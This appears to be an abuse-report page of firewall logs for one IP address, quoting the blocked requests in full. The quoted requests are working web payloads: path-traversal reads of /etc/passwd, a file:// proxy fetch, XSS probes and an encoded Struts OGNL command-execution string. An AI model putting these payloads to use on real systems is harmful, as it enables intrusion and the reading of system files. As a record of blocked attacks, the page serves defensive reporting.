🇺🇸
TPI-Abuse
2026-01-17 08:36:59
(8 months ago)
(mod_security) mod_security (id:210492) triggered by 46.203.147.60 (-): 1 in the last 300 secs; Port ...
show more
(mod_security) mod_security (id:210492) triggered by 46.203.147.60 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Sat Jan 17 03:36:47.866460 2026] [security2:error] [pid 6590:tid 6590] [client 46.203.147.60:32951] ModSecurity: Access denied with code 403 (phase 1). Matched phrase ".htaccess" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "cpcalendars.nbcnewsradio.com"] [uri "/_.htaccess"] [unique_id "aWtKH1KiGVG0WYGfLIP6aAAAABk"]
show less
Brute-Force
Bad Web Bot
Web App Attack
🇺🇸
TPI-Abuse
2025-12-29 18:32:08
(8 months ago)
(mod_security) mod_security (id:210730) triggered by 46.203.147.60 (-): 1 in the last 300 secs; Port ...
show more
(mod_security) mod_security (id:210730) triggered by 46.203.147.60 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Mon Dec 29 13:31:59.031641 2025] [security2:error] [pid 25028:tid 25054] [client 46.203.147.60:58859] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.kettlehill.net|F|2"] [data ".log"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.kettlehill.net"] [uri "/cslu/v1/var/logs/customer-cslu-lib-log.log"] [unique_id "aVLJH3oCEO1cw_Cklcil3wAAAdA"]
show less
Brute-Force
Bad Web Bot
Web App Attack
🇺🇸
TPI-Abuse
2025-11-13 11:03:10
(10 months ago)
(mod_security) mod_security (id:211190) triggered by 46.203.147.60 (-): 1 in the last 300 secs; Port ...
show more
(mod_security) mod_security (id:211190) triggered by 46.203.147.60 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Thu Nov 13 06:03:04.274858 2025] [security2:error] [pid 1348:tid 1348] [client 46.203.147.60:45943] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||ftp.nbcnewsradio.com|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /cgi-bin/wapopen?B1=OK&NO=CAM_16&REFRESH_TIME=Auto_00&FILECAMERA=../../etc/passwd%00&REFRESH_HTML=auto.htm&ONLOAD_HTML=onload.htm&STREAMING_HTML=streaming.htm&NAME=admin&PWD=admin&PIC_SIZE=0"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "ftp.nbcnewsradio.com"] [uri "/cgi-bin/wapopen"] [unique_id "aRW66M64-p-_6AulG6sL-gAAAAQ"]
show less
Brute-Force
Bad Web Bot
Web App Attack
🇩🇪
dayda.net
2025-10-13 03:22:17
(11 months ago)
query: option=com_janews&controller=../../../../../../../../../../etc/passwd%00
Bad Web Bot
🇺🇸
TPI-Abuse
2025-07-27 01:44:57
(1 year ago)
(mod_security) mod_security (id:212620) triggered by 46.203.147.60 (-): 1 in the last 300 secs; Port ...
show more
(mod_security) mod_security (id:212620) triggered by 46.203.147.60 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Sat Jul 26 21:44:53.643675 2025] [security2:error] [pid 729661:tid 729807] [client 46.203.147.60:43017] ModSecurity: Access denied with code 403 (phase 2). Pattern match "<script\\\\b" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/07_XSS_XSS.conf"] [line "65"] [id "212620"] [rev "4"] [msg "COMODO WAF: Cross-site Scripting (XSS) Attack||www.kettlehill.net|F|2"] [data "Matched Data: <script found within REQUEST_URI: /wp-login.php?login-error=<script>alert(document.domain)</script>"] [severity "CRITICAL"] [tag "CWAF"] [tag "XSS"] [hostname "www.kettlehill.net"] [uri "/wp-login.php"] [unique_id "aIWElSvVOfzaMkf4tyJKCwAAAMU"]
show less
Brute-Force
Bad Web Bot
Web App Attack
2025-06-23 17:51:47
(1 year ago)
Ports: 2077,2078,2082,2083,2086,2087,2095,2096; Direction: 0; Trigger: LF_DISTATTACK
Brute-Force
SSH
🇺🇸
TPI-Abuse
2025-05-30 00:09:17
(1 year ago)
(mod_security) mod_security (id:211190) triggered by 46.203.147.60 (-): 1 in the last 300 secs; Port ...
show more
(mod_security) mod_security (id:211190) triggered by 46.203.147.60 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Thu May 29 20:09:09.953128 2025] [security2:error] [pid 3816831:tid 3816831] [client 46.203.147.60:56589] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||mail.farmers123.com|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /pictureproxy.php?url=file:///etc/passwd"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "mail.farmers123.com"] [uri "/pictureproxy.php"] [unique_id "aDj3JdTC4V2smkgp9FzxdAAAABM"]
show less
Brute-Force
Bad Web Bot
Web App Attack
🇩🇪
dayda.net
2025-05-22 09:35:42
(1 year ago)
id=%25%7B%28%23instancemanager%3D%23application%5B%22org.apache.tomcat.InstanceManager%22%5D%29.%28% ...
show more
id=%25%7B%28%23instancemanager%3D%23application%5B%22org.apache.tomcat.InstanceManager%22%5D%29.%28%23stack%3D%23attr%5B%22com.opensymphony.xwork2.util.ValueStack.ValueStack%22%5D%29.%28%23bean%3D%23instancemanager.newInstance%28%22org.apache.commons.collections.BeanMap%22%29%29.%28%23bean.setBean%28%23stack%29%29.%28%23context%3D%23bean.get%28%22context%22%29%29.%28%23bean.setBean%28%23context%29%29.%28%23macc%3D%23bean.get%28%22memberAccess%22%29%29.%28%23bean.setBean%28%23macc%29%29.%28%23emptyset%3D%23instancemanager.newInstance%28%22java.util.HashSet%22%29%29.%28%23bean.put%28%22excludedClasses%22%2C%23emptyset%29%29.%28%23bean.put%28%22excludedPackageNames%22%2C%23emptyset%29%29.%28%23arglist%3D%23instancemanager.newInstance%28%22java.util.ArrayList%22%29%29.%28%23arglist.add%28%22cat+%2Fetc%2Fpasswd%22%29%29.%28%23execute%3D%23instancemanager.newInstance%28%22freemarker.template.utility.Execute%22%29%29.%28%23execute.exec%28%23arglist%29%29%7D
show less
Bad Web Bot
2025-03-25 06:24:37
(1 year ago)
Ports: 2077,2078,2082,2083,2086,2087,2095,2096; Direction: 0; Trigger: LF_DISTATTACK
Brute-Force
SSH
🇺🇸
TPI-Abuse
2025-02-28 21:24:02
(1 year ago)
(mod_security) mod_security (id:212620) triggered by 46.203.147.60 (-): 1 in the last 300 secs; Port ...
show more
(mod_security) mod_security (id:212620) triggered by 46.203.147.60 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Fri Feb 28 16:22:12.735494 2025] [security2:error] [pid 23560:tid 23753] [client 46.203.147.60:42091] [client 46.203.147.60] ModSecurity: Access denied with code 403 (phase 2). Pattern match "<script\\\\b" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/07_XSS_XSS.conf"] [line "65"] [id "212620"] [rev "4"] [msg "COMODO WAF: Cross-site Scripting (XSS) Attack||kettlehill.net|F|2"] [data "Matched Data: <script found within REQUEST_URI: /setup/index.php?page=servers&mode=test&id=</script><script>alert(document.domain)</script>"] [severity "CRITICAL"] [tag "CWAF"] [tag "XSS"] [hostname "kettlehill.net"] [uri "/setup/index.php"] [unique_id "Z8IpBK5U5SwoT6lNDCWdgQAAAkU"]
show less
Brute-Force
Bad Web Bot
Web App Attack
2025-01-17 12:30:33
(1 year ago)
| Common web attack.
Hacking
SQL Injection
Web App Attack